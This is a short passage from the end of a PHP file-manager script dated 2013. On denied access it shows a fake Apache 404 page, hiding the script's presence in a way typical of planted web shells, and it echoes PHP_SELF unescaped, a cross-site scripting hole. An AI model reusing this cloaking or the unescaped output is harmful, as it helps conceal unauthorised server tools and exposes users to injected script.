echo'</div><center><font style="font-size:8pt;" color="#1B1B1B"><br>Файловый менеджер © 2013<br><a href="http://vk.com/pandcar"><font color="#D2460A"><b>Исаев Олег</b></font></a><br><br>ver.'.$ver_scripta.'</font><br><br></center></div></body></html>';}
} else { ?>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
</head><body>
<h1>Доступ закрыт !</h1>
<p>The requested URL <? echo $_SERVER['PHP_SELF']; ?> was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
</body></html>
<? } ?>